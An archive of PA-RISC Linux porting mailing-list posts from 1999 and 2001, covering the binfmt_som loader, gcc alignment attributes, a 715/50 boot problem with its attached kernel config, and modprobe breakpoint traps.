Subject: [parisc-linux] binfmt_som
Date: Thu, 3 Jun 1999 19:57:04 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <19990603195704.Q1410@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619606 11465 80.91.229.3 (22 Nov 2014 01:26:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Thu Jun  3 11:57:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA13384
	for <parisc-linux@puffin.external.hp.com>; Thu, 3 Jun 1999 11:57:09 -0600
Original-Received: (qmail 11908 invoked by uid 15267); 3 Jun 1999 17:57:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11893 invoked from network); 3 Jun 1999 17:57:02 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 3 Jun 1999 17:57:02 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id TAA02685
	for <parisc-linux@thepuffingroup.com>; Thu, 3 Jun 1999 19:57:04 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id TAA880908
	for <parisc-linux@thepuffingroup.com>; Thu, 3 Jun 1999 19:57:04 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10pbjk-00028pC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Thu, 3 Jun 1999 19:57:04 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:9432


I've checked in a binfmt_som which I think might work.  However,
it definitely won't work until someone defines put_user() & friends
in include/asm-parisc/uaccess.h.

I also inserted a declaration of start_thread in <asm/processor.h> --
some platforms have it as a macro, some have it as a function, so I
think linking will now fail with that as an undefined symbol.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pete" <plaven@ozemail.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] http://parisc-linux.org/ - A New Look!
Date: Sat, 27 Jan 2001 20:04:38 +1100
Lines: 18
Approved: news@gmane.org
Message-ID: <3A7329D6.22387.109A119@localhost>
References: <3A71D9B7.D582ECD2@linuxcare.com>
Reply-To: plaven@ozemail.com.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416619606 11468 80.91.229.3 (22 Nov 2014 01:26:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:46 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jane Vinet <jvinet@linuxcare.com>
Original-X-From: plaven@ozemail.com.au  Sat Jan 27 02:00:49 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA10316
	for <parisc-linux@puffin.external.hp.com>; Sat, 27 Jan 2001 02:00:49 -0700
Original-Received: (qmail 4772 invoked by uid 15267); 27 Jan 2001 09:04:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4761 invoked from network); 27 Jan 2001 09:04:46 -0000
Original-Received: from mta02.mail.au.uu.net (HELO mta02.mail.mel.aone.net.au) (203.2.192.82)
  by mailserv2.iuinc.com with SMTP; 27 Jan 2001 09:04:46 -0000
Original-Received: from piglet.sspl.net.au ([210.84.37.187])
          by mta02.mail.mel.aone.net.au with ESMTP
          id <20010127090442.UGPA26092.mta02.mail.mel.aone.net.au@piglet.sspl.net.au>;
          Sat, 27 Jan 2001 20:04:42 +1100
Original-Received: from winnie.sspl.net.au (winnie. [192.168.11.9])
	by piglet.sspl.net.au (8.9.3/8.9.3) with ESMTP id UAA06118;
	Sat, 27 Jan 2001 20:04:35 +1100
Priority: normal
In-reply-to: <3A71D9B7.D582ECD2@linuxcare.com>
X-mailer: Pegasus Mail for Win32 (v3.12c)
Xref: news.gmane.org gmane.linux.ports.parisc:9433

Jane,

> OK, so after many reviews, revisions, discussions the new web site is
> live.  Many, many thanks to everyone who endeavored so hard to give the
> site a facelift and for constructive feedback which allowed us to create
> what we hope will be a dynamic site that is easier to navigate through

I was wondering when it would go live... and I have to say it looks 
pretty good.

One thing I did find though was a stale link.. I'll go find it again...

Where would it be best to post things like this?  webmaster?



Pete.


From - Thu Nov 08 21:15:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Usage of __attribute__?
Date: Sat, 27 Jan 2001 02:48:49 -0700 (MST)
Lines: 28
Approved: news@gmane.org
Message-ID: <200101270948.CAA00365@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619606 11471 80.91.229.3 (22 Nov 2014 01:26:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:46 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Sat Jan 27 02:46:04 2001
Original-Received: from cosrel2.hp.com (cosrel2.hp.com [156.153.255.162])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id CAA10760
	for <parisc-linux@puffin.external.hp.com>; Sat, 27 Jan 2001 02:46:04 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by cosrel2.hp.com (Postfix) with ESMTP id 8B5CE1AB
	for <parisc-linux@puffin.external.hp.com>; Sat, 27 Jan 2001 02:49:53 -0700 (MST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id CAA00365 for parisc-linux@puffin.external.hp.com; Sat, 27 Jan 2001 02:48:49 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:9434


As part of my effort to fix the alignment problems in libpthread, I am
creating a type with the aligned attribute. However, I discovered
something strange, which I don't know if it is a bug, or is the expected
behaviour (i.e. I am doing something wrong/don't understand how
__attribute__ works).

If I directly declare the type as follows:

    typedef int _lt_spinlock_t __attribute__((aligned(16)));

then EVERY int that follows has the aligned 16 attribute, e.g. just
declaring "int tmp;" gives tmp a 16 byte alignment. So, is that what
you would expect from my above declaration?

I worked around the problem by declaring the type in two steps:

    typedef int _spin16;
    typedef _spin16 _lt_spinlock_t __attribute__((aligned(16)));

Is there a way of combining the above two into one declaration,
without having the undesired side effect of making every int
aligned to a 16 byte boundary?

John Marvin
jsm@fc.hp.com



From - Thu Nov 08 21:15:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: arete@libero.it
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/50 problem
Date: Fri, 26 Jan 2001 18:52:11 +0100
Lines: 383
Approved: news@gmane.org
Message-ID: <3A71B94B.28548C28@libero.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------3D0CF192243D636A93D481C1"
X-Trace: ger.gmane.org 1416619607 11475 80.91.229.3 (22 Nov 2014 01:26:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:47 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: arete@libero.it  Sat Jan 27 05:41:06 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA13628
	for <parisc-linux@puffin.external.hp.com>; Sat, 27 Jan 2001 05:41:06 -0700
Original-Received: (qmail 22753 invoked by uid 15267); 27 Jan 2001 12:45:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22713 invoked from network); 27 Jan 2001 12:45:02 -0000
Original-Received: from smtp4.libero.it (193.70.192.54)
  by mailserv2.iuinc.com with SMTP; 27 Jan 2001 12:45:02 -0000
Original-Received: from libero.it (151.21.82.179) by smtp4.libero.it (5.5.015.5)
        id 3A54738F00EE1B1A for parisc-linux@thepuffingroup.com; Sat, 27 Jan 2001 13:45:01 +0100
X-Mailer: Mozilla 4.74 [en] (Win95; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9435

This is a multi-part message in MIME format.
--------------3D0CF192243D636A93D481C1
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I have an 715/50, the iso image 0.5 not work.
I have compilate the kernel version 20010105, with this .config file,
but not work!
Was is the problem???
I have pdc firmware version 1.3 and IODC 1.6

thanks
gerardo di iorio
--------------3D0CF192243D636A93D481C1
Content-Type: text/plain; charset=us-ascii;
 name="Config"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="Config"

#
# Automatically generated by make menuconfig: don't edit
#
CONFIG_PARISC=y
# CONFIG_UID16 is not set

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# General options
#
# CONFIG_SMP is not set
# CONFIG_KWDB is not set
CONFIG_GSC=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
# CONFIG_GSC_WAX is not set
CONFIG_PCI=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
# CONFIG_SUPERIO is not set
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_CHASSIS_LCD_LED=y

#
# Loadable module support
#
# CONFIG_MODULES is not set

#
# General setup
#
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
CONFIG_BINFMT_SOM=y
CONFIG_BINFMT_ELF=y
# CONFIG_BINFMT_MISC is not set
# CONFIG_BINFMT_JAVA is not set

#
# Parallel port support
#
# CONFIG_PARPORT is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_LOOP is not set
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_RAM is not set
# CONFIG_BLK_DEV_INITRD is not set

#
# Networking options
#
# CONFIG_PACKET is not set
# CONFIG_NETLINK is not set
# CONFIG_NETFILTER is not set
# CONFIG_FILTER is not set
CONFIG_UNIX=y
CONFIG_INET=y
# CONFIG_IP_MULTICAST is not set
# CONFIG_IP_ADVANCED_ROUTER is not set
# CONFIG_IP_PNP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_INET_ECN is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_IPV6 is not set
# CONFIG_KHTTPD is not set
# CONFIG_ATM is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_DECNET is not set
# CONFIG_BRIDGE is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_LLC is not set
# CONFIG_NET_DIVERT is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# SCSI support
#
CONFIG_SCSI=y
CONFIG_BLK_DEV_SD=y
CONFIG_SD_EXTRA_DEVS=40
CONFIG_CHR_DEV_ST=y
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_SR_EXTRA_DEVS=2
CONFIG_CHR_DEV_SG=y
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set

#
# SCSI low-level drivers
#
CONFIG_SCSI_LASI=y
CONFIG_SCSI_ZALON=y
CONFIG_SCSI_SYM53C8XX=y
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_NCR53C8XX_PROFILE is not set
# CONFIG_SCSI_NCR53C8XX_IOMAPPED is not set

#
# Network device support
#
CONFIG_NETDEVICES=y
CONFIG_LASI_82596=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_NET_SB1000 is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_AT1700 is not set
# CONFIG_DEPCA is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
CONFIG_NET_PCI=y
# CONFIG_PCNET32 is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_AC3200 is not set
# CONFIG_APRICOT is not set
# CONFIG_CS89x0 is not set
# CONFIG_DE4X5 is not set
CONFIG_TULIP=y
# CONFIG_DGRS is not set
# CONFIG_DM9102 is not set
# CONFIG_EEPRO100 is not set
# CONFIG_LNE390 is not set
# CONFIG_NATSEMI is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_NE3210 is not set
# CONFIG_ES3210 is not set
# CONFIG_RTL8129 is not set
# CONFIG_8139TOO is not set
# CONFIG_SIS900 is not set
# CONFIG_EPIC100 is not set
# CONFIG_SUNDANCE is not set
# CONFIG_TLAN is not set
# CONFIG_VIA_RHINE is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_ACENIC is not set
# CONFIG_HAMACHI is not set
# CONFIG_YELLOWFIN is not set
# CONFIG_SK98LIN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# Input core support
#
# CONFIG_INPUT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_GSC_PS2=y
CONFIG_SERIAL=y
# CONFIG_SERIAL_CONSOLE is not set
CONFIG_SERIAL_GSC=y
# CONFIG_SERIAL_EXTENDED is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
# CONFIG_MOUSE is not set

#
# Joysticks
#
# CONFIG_JOYSTICK is not set
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
CONFIG_GENRTC=y
# CONFIG_INTEL_RNG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set

#
# File systems
#
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_ADFS_FS is not set
# CONFIG_ADFS_FS_RW is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_JFFS_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_RAMFS is not set
CONFIG_ISO9660_FS=y
# CONFIG_JOLIET is not set
# CONFIG_MINIX_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS_RW is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVFS_MOUNT is not set
# CONFIG_DEVFS_DEBUG is not set
# CONFIG_DEVPTS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX4FS_RW is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_SYSV_FS_WRITE is not set
# CONFIG_UDF_FS is not set
# CONFIG_UDF_RW is not set
# CONFIG_UFS_FS is not set
# CONFIG_UFS_FS_WRITE is not set

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
# CONFIG_NFS_FS is not set
# CONFIG_NFS_V3 is not set
# CONFIG_ROOT_NFS is not set
# CONFIG_NFSD is not set
# CONFIG_NFSD_V3 is not set
# CONFIG_SUNRPC is not set
# CONFIG_LOCKD is not set
# CONFIG_SMB_FS is not set
# CONFIG_NCP_FS is not set
# CONFIG_NCPFS_PACKET_SIGNING is not set
# CONFIG_NCPFS_IOCTL_LOCKING is not set
# CONFIG_NCPFS_STRONG is not set
# CONFIG_NCPFS_NFS_NS is not set
# CONFIG_NCPFS_OS2_NS is not set
# CONFIG_NCPFS_SMALLDOS is not set
# CONFIG_NCPFS_MOUNT_SUBDIR is not set
# CONFIG_NCPFS_NDS_DOMAINS is not set
# CONFIG_NCPFS_NLS is not set
# CONFIG_NCPFS_EXTRAS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_NLS is not set

#
# Sound Drivers
#
# CONFIG_SOUND is not set

#
# Console drivers
#

#
# Frame-buffer support
#
# CONFIG_FB is not set
# CONFIG_STI_CONSOLE is not set
CONFIG_DUMMY_CONSOLE=y

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y


--------------3D0CF192243D636A93D481C1--



From - Thu Nov 08 21:15:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel module loader gived break
Date: Sat, 27 Jan 2001 17:10:51 +0100 (CET)
Lines: 15
Approved: news@gmane.org
Message-ID: <200101271610.RAA30546@zaphod.halden.lillfab.se>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/plain; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416619607 11476 80.91.229.3 (22 Nov 2014 01:26:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:47 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: 5116@telia.com  Sat Jan 27 09:07:19 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA15202
	for <parisc-linux@puffin.external.hp.com>; Sat, 27 Jan 2001 09:07:18 -0700
Original-Received: (qmail 18780 invoked by uid 15267); 27 Jan 2001 16:11:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18734 invoked from network); 27 Jan 2001 16:11:15 -0000
Original-Received: from mailf.telia.com (root@194.22.194.25)
  by mailserv2.iuinc.com with SMTP; 27 Jan 2001 16:11:15 -0000
Original-Received: from zaphod.halden.lillfab.se (t5o70p28.telia.com [195.67.239.28])
	by mailf.telia.com (8.9.3/8.9.3) with ESMTP id RAA05097
	for <parisc-linux@thepuffingroup.com>; Sat, 27 Jan 2001 17:11:09 +0100 (CET)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id RAA30546
	for parisc-linux@thepuffingroup.com; Sat, 27 Jan 2001 17:10:51 +0100
Xref: news.gmane.org gmane.linux.ports.parisc:9436

Hi, all

I get messages like 

break 0,0: pid=116 command='cat'
cat[116]: Breakpoint 0

Followed by a register dump when I do some thing that would trigger the
kernel to call modprobe. Modprobe is not in stalled in my system (is it
ported yet?).

/Daniel
-- 



From - Thu Nov 08 21:15:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Usage of __attribute__?
Date: Sat, 27 Jan 2001 11:39:25 -0500 (EST)
Lines: 42
Approved: news@gmane.org
Message-ID: <200101271639.LAA07330@hiauly1.hia.nrc.ca>
References: <200101270948.CAA00365@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619607 11477 80.91.229.3 (22 Nov 2014 01:26:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:47 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: jsm@udlkern.fc.hp.com (John Marvin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Jan 27 09:36:50 2001
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA16125
	for <parisc-linux@puffin.external.hp.com>; Sat, 27 Jan 2001 09:36:49 -0700
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA07330;
	Sat, 27 Jan 2001 11:39:26 -0500 (EST)
In-Reply-To: <200101270948.CAA00365@udlkern.fc.hp.com> from "John Marvin" at Jan 27, 2001 02:48:49 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9437

John,

I think you should forward this question to gcc@gcc.gnu.org.

> As part of my effort to fix the alignment problems in libpthread, I am
> creating a type with the aligned attribute. However, I discovered
> something strange, which I don't know if it is a bug, or is the expected
> behaviour (i.e. I am doing something wrong/don't understand how
> __attribute__ works).
> 
> If I directly declare the type as follows:
> 
>     typedef int _lt_spinlock_t __attribute__((aligned(16)));
> 
> then EVERY int that follows has the aligned 16 attribute, e.g. just
> declaring "int tmp;" gives tmp a 16 byte alignment. So, is that what
> you would expect from my above declaration?
> 
> I worked around the problem by declaring the type in two steps:
> 
>     typedef int _spin16;
>     typedef _spin16 _lt_spinlock_t __attribute__((aligned(16)));
> 
> Is there a way of combining the above two into one declaration,
> without having the undesired side effect of making every int
> aligned to a 16 byte boundary?
> 
> John Marvin
> jsm@fc.hp.com
> 
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel module loader gived break
Date: Sat, 27 Jan 2001 18:23:20 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20010127182320.A20379@parcelfarce.linux.theplanet.co.uk>
References: <200101271610.RAA30546@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619608 11479 80.91.229.3 (22 Nov 2014 01:26:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:48 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: 5116@telia.com
Original-X-From: willy@www.linux.org.uk  Sat Jan 27 11:19:23 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA17652
	for <parisc-linux@puffin.external.hp.com>; Sat, 27 Jan 2001 11:19:23 -0700
Original-Received: (qmail 1895 invoked by uid 15267); 27 Jan 2001 18:23:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1886 invoked from network); 27 Jan 2001 18:23:22 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 27 Jan 2001 18:23:22 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Ma0O-0006JO-00; Sat, 27 Jan 2001 18:23:20 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101271610.RAA30546@zaphod.halden.lillfab.se>; from 5116@telia.com on Sat, Jan 27, 2001 at 05:10:51PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9438

On Sat, Jan 27, 2001 at 05:10:51PM +0100, 5116@telia.com wrote:
> Hi, all
> 
> I get messages like 
> 
> break 0,0: pid=116 command='cat'
> cat[116]: Breakpoint 0
> 
> Followed by a register dump when I do some thing that would trigger the
> kernel to call modprobe. Modprobe is not in stalled in my system (is it
> ported yet?).

the modutils source is available by cvs from pehc.  richard was working
on it (he's on holiday right now).  don't remember how far he got.
i know he did a merge with the upstream modutils source at one point.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Henderson <rth@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: abort in eliminate_regs compiling glob.c from glibc
Date: Sat, 27 Jan 2001 12:12:46 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20010127121246.A6654@redhat.com>
References: <200011092357.SAA08600@hiauly1.hia.nrc.ca> <200011142140.QAA19580@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619608 11483 80.91.229.3 (22 Nov 2014 01:26:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:48 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org,
        gcc-patches@gcc.gnu.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: rth@cygnus.com  Sat Jan 27 13:08:52 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA19102
	for <parisc-linux@puffin.external.hp.com>; Sat, 27 Jan 2001 13:08:51 -0700
Original-Received: (qmail 2486 invoked by uid 15267); 27 Jan 2001 20:12:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2479 invoked from network); 27 Jan 2001 20:12:51 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 27 Jan 2001 20:12:50 -0000
Original-Received: from dot.cygnus.com (dot.cygnus.com [205.180.230.224])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id MAA21564;
	Sat, 27 Jan 2001 12:12:43 -0800 (PST)
Original-Received: (rth@localhost) by dot.cygnus.com (8.9.3/8.6.4) id MAA06674; Sat, 27 Jan 2001 12:12:46 -0800
Mail-Followup-To: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org,
	gcc-patches@gcc.gnu.org
X-Mailer: Mutt 0.95.5i
In-Reply-To: <200011142140.QAA19580@hiauly1.hia.nrc.ca>; from John David Anglin on Tue, Nov 14, 2000 at 04:40:52PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:9439

